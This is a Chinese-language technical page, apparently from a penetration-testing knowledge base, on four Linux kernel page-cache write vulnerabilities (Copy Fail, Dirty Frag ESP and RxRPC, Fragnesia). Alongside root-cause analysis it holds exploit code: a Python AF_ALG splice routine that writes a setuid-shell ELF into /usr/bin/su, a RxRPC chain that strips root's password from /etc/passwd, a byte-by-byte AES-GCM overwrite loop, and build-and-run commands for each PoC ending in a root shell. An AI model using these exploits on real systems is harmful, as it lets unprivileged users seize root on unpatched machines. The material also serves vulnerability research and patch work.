Skip to content

Linux 内核 Page-Cache 写入家族:Copy Fail / Dirty Frag / Fragnesia ​

1. 家族成员 ​

漏洞CVE入口写入单位核心机制
Copy FailCVE-2026-31431AF_ALG authencesn4 字节algif_aead in-place 优化 + authencesn HMAC 前解密
Dirty Frag (ESP)CVE-2026-43284xfrm-ESP / ESP-in-UDP4 字节UDP splice frag 未标记 SKBFL_SHARED_FRAG → ESP no-COW
Dirty Frag (RxRPC)CVE-2026-43500RxRPC / rxkad8 字节vmsplice 页缓存 → RxRPC 解密路径原地写入
FragnesiaCVE-2026-46300ESP-in-TCP / TCP coalesce逐字节可控TCP ULP espintcp + AES-GCM keystream

共同特征 ​

  1. splice / vmsplice 零拷贝把只读文件的页缓存页送入内核协议栈
  2. 协议解密路径做原地写入(in-place decrypt),误把共享页缓存当私有缓冲区
  3. HMAC 验证失败后不回滚 — 写入已完成,包被丢弃,但副作用保留
  4. 不改磁盘 — 只改页缓存,stat / 包管理器看不出来
  5. 不需要竞态条件 — 直线型逻辑漏洞

2. Copy Fail(CVE-2026-31431) ​

三层根因 ​

第一层:algif_aead 的 in-place 优化(2017 年引入)

c
// 有漏洞:src == dst,输出 SGL 和输入 SGL 相同
aead_request_set_crypt(&areq->cra_u.aead_req,
    rsgl_src,                                    // RX SGL(输入)
    areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv); // 同一个 RX SGL(输出)

splice() 把文件页缓存送进 AF_ALG socket → scatterlist 持有页缓存页面直接引用。in-place 模式下输出 SGL 包含输入 SGL 的全部页面(包括 Tag 页)。

第二层:authencesn 在 HMAC 前原地解密

c
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);              // 读 AAD 前 8 字节
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);              // seqno_hi 写入 dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← 越界写!

assoclen + cryptlen 偏移处写 4 字节。正常在接收缓冲区内部,但 in-place 时落在页缓存上。

第三层:两层叠加

scatterwalk_map_and_copy 遍历输出 SGL
    → 走到 sg_chain 链接的 Tag 页面(来自文件页缓存)
    → kmap_local_page 映射 /usr/bin/su 的页缓存
    → seqno_lo 4 字节直接写入 /usr/bin/su .text 段
    → HMAC 验证失败,recvmsg() 返回错误
    → 4 字节已留在页缓存

利用流程 ​

python
import socket, os, zlib

a = socket.socket(38, 5, 0)   # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

# 设置密钥和认证标签大小
v(h, 1, d('0800010000000010' + '0'*64))  # 16 字节零密钥
v(h, 5, None, 4)                         # ALG_SET_AEAD_AUTHSIZE = 4

# splice 文件页缓存 → AF_ALG socket
r, w = os.pipe()
os.splice(f, w, o, offset_src=0)     # 文件 → pipe
os.splice(r, u.fileno(), o)           # pipe → AF_ALG socket

# 构造消息控制 seqno_lo 的值
u.sendmsg([b"A"*4 + payload_chunk], [cmsg], 32768)

# 触发写入
try: u.recv(8+t)
except: 0

Payload:zlib 压缩的 160 字节最小 ELF:

setuid(0) → execve("/bin/sh", NULL, NULL) → exit(0)

以 4 字节为单位逐块写入 /usr/bin/su 的 .text 段。

3. Dirty Frag ESP(CVE-2026-43284) ​

漏洞调用链 ​

BPF / 用户态
  → unshare(CLONE_NEWUSER | CLONE_NEWNET)
  → NETLINK_XFRM 注册 ESP-in-UDP SA
  → 将 4 字节 payload 写入 XFRMA_REPLAY_ESN_VAL.seq_hi
  → splice(/usr/bin/su → pipe → UDP socket)
  → ESP input 误走 no-COW in-place decrypt
  → authencesn 将 seq_hi 作为 4 字节写入 page cache
  → 重复 48 次覆盖 /usr/bin/su 前 192 字节
  → execve /usr/bin/su → root shell

核心:UDP datagram append 未标记 SKBFL_SHARED_FRAG ​

c
// 修复前:有 frags 但没有 frag_list → 直接 skip_cow
} else if (!skb_has_frag_list(skb)) {
    nfrags = skb_shinfo(skb)->nr_frags;
    nfrags++;
    goto skip_cow;  // ← 跳过 COW!
}

// 修复后:新增 shared-frag 检测
} else if (!skb_has_frag_list(skb) &&
           !skb_has_shared_frag(skb)) {   // ← 新增
    ...
    goto skip_cow;
}

TCP 路径会标记 SKBFL_SHARED_FRAG,UDP 路径没有 → ESP input 误判为私有 skb → 跳过 skb_cow_data()。

4. Dirty Frag RxRPC(CVE-2026-43500) ​

离线搜索可控写入 ​

RxRPC/rxkad 路径一次写 8 字节,但写入内容是解密结果。PoC 在用户态模拟内核 fcrypt 逻辑,搜索 session key 使得解密结果恰好是目标格式:

c
// 三次重叠写把 root:x:0:0 改成 root::0:0
int off_a = 4, off_b = 6, off_c = 8;

// 检查函数
fc_check_pa_nullok()   // chars 4-5 = "::"
fc_check_pb_nullok()   // chars 6-7 = "0:"
fc_check_pc_nullok()   // chars 8-15 = "0:GGGGGG:"

写入 /etc/passwd 后 PAM nullok 接受空密码 → su - → root shell。

Wrapper 分发逻辑 ​

c
// 默认策略:先打 /usr/bin/su,失败 fallback 到 rxrpc/rxkad
rc = su_lpe_main(new_argc, co_argv);           // ESP 路径
if (!su_already_patched()) {
    rc = rxrpc_lpe_main(new_argc, co_argv);    // RxRPC 路径
    for (int i = 0; !passwd_already_patched() && i < 3; i++)
        rc = rxrpc_lpe_main(new_argc, co_argv);
}

5. Fragnesia(CVE-2026-46300) ​

AES-GCM 逐字节可控写入 ​

Fragnesia 通过 ESP-in-TCP + AES-GCM keystream 实现逐字节精确替换:

c
// 构建 keystream 首字节查找表
for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
    store_be32(iv + 4, nonce);
    b = aes_gcm_stream0_byte(alg_fd, iv);
    if (!stream0_have[b]) {
        stream0_have[b] = true;
        stream0_nonce[b] = (uint16_t)nonce;
        count++;
    }
}

// 每字节写入
for (idx = 0; idx < desired_len; idx++) {
    current = read_byte_at(target_file, off);
    need_stream = current ^ desired[idx];       // 需要的 keystream 字节
    choose_iv_for_stream0(need_stream);          // 选择对应 nonce
    run_trigger_pair();                           // 触发一次 ESP-in-TCP splice
}

cipher_byte = plain_byte XOR stream_byte → 只要控制 stream_byte,就能把任意 current 变成 desired。

攻击链路 ​

非特权用户
  → unshare(CLONE_NEWUSER) 映射当前用户为 namespace root
  → unshare(CLONE_NEWNET) 创建独立网络命名空间
  → NETLINK_XFRM 注册 ESP-in-TCP state
  → receiver 监听 ::1:5556,延迟启用 TCP_ULP espintcp
  → sender 发送 ESP-in-TCP prefix
  → splice(/usr/bin/su) 把只读文件页缓存引入 TCP skb frag
  → espintcp / XFRM / AES-GCM 路径原地变换 skb frag
  → 逐字节污染 /usr/bin/su 的 page cache
  → page cache 开头 192 字节变成 shell_elf
  → execve("/usr/bin/su", NULL, NULL) → root shell

6. 四种利用路径对比 ​

维度Copy FailDirty Frag (ESP)Dirty Frag (RxRPC)Fragnesia
入口AF_ALG authencesnXFRM ESP-in-UDPRxRPC/rxkadESP-in-TCP
写入单位4 字节固定4 字节固定8 字节变换逐字节可控
目标/usr/bin/su/usr/bin/su/etc/passwd/usr/bin/su
内核配置CONFIG_CRYPTO_USER_API_AEADCONFIG_XFRM + ESPCONFIG_RXGKXFRM + ESP-in-TCP
前置条件user namespaceuser + net namespaceuser + net namespaceuser + net namespace

7. 受影响发行版 ​

发行版Copy FailDirty Frag ESPDirty Frag RxRPCFragnesia
Ubuntu 22.04 / 24.04受影响受影响可能受限AppArmor 可能限制
Debian 12受影响受影响不受影响不受影响
RHEL 8/9/10受影响受影响受影响受影响
Fedora受影响受影响受影响受影响
Arch受影响受影响受影响受影响

8. 复现(Copy Fail 最快路径) ​

bash
# 检查 AF_ALG 可用
python3 -c "import socket; socket.socket(38,5,0); print('VULNERABLE')"

# 运行 PoC(需要 CONFIG_CRYPTO_USER_API_AEAD)
cd "CVE-2026-31431 Copy Fail"
python3 exploit/exp.py
# 成功后: # id → uid=0(root)

Dirty Frag ESP 复现 ​

bash
cd "CVE-2026-43284 Dirty Frag/exploit"
gcc -O2 -Wall -o dirtyfrag-exp exp.c
./dirtyfrag-exp
# 成功后: # id → uid=0(root)

Fragnesia 复现 ​

bash
cd "CVE-2026-46300 Fragnesia/exploit"
gcc -O2 -Wall -Wextra -static exp.c -o fragnesia_exp
./fragnesia_exp
# 成功后 execve /usr/bin/su → root shell

9. Exit Code 语义 ​

Exit Code含义
0提权成功
1前置条件失败
2页缓存污染失败

Evidence ​

记录: 内核版本、CONFIG 检查结果、dmesg 输出、提权前后 id 输出、目标文件 page cache 校验

MCP 工具映射 ​

攻击步骤MCP 工具说明
知识检索kb_router按内核提权 / page-cache 信号搜索
环境检查手动 grep /boot/config-*确认内核配置
写分析笔记workspace_write_text记录内核版本和配置检查结果

参考资料 ​

来源链接
Copy Fail 官网https://copy.fail
Copy Fail PoChttps://github.com/theori-io/copy-fail-CVE-2026-31431
Dirty Frag PoChttps://github.com/V4bel/dirtyfrag
Red Hat RHSB-2026-003https://access.redhat.com/security/vulnerabilities/RHSB-2026-003
NVD CVE-2026-31431https://nvd.nist.gov/vuln/detail/CVE-2026-31431
NVD CVE-2026-43284https://nvd.nist.gov/vuln/detail/CVE-2026-43284
NVD CVE-2026-43500https://nvd.nist.gov/vuln/detail/CVE-2026-43500
NVD CVE-2026-46300https://nvd.nist.gov/vuln/detail/CVE-2026-46300
CISA KEV CVE-2026-31431https://www.cisa.gov/known-exploited-vulnerabilities-catalog
poc-lab 源https://github.com/Unclecheng-li/poc-lab (Copy Fail / Dirty Frag / Fragnesia)

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用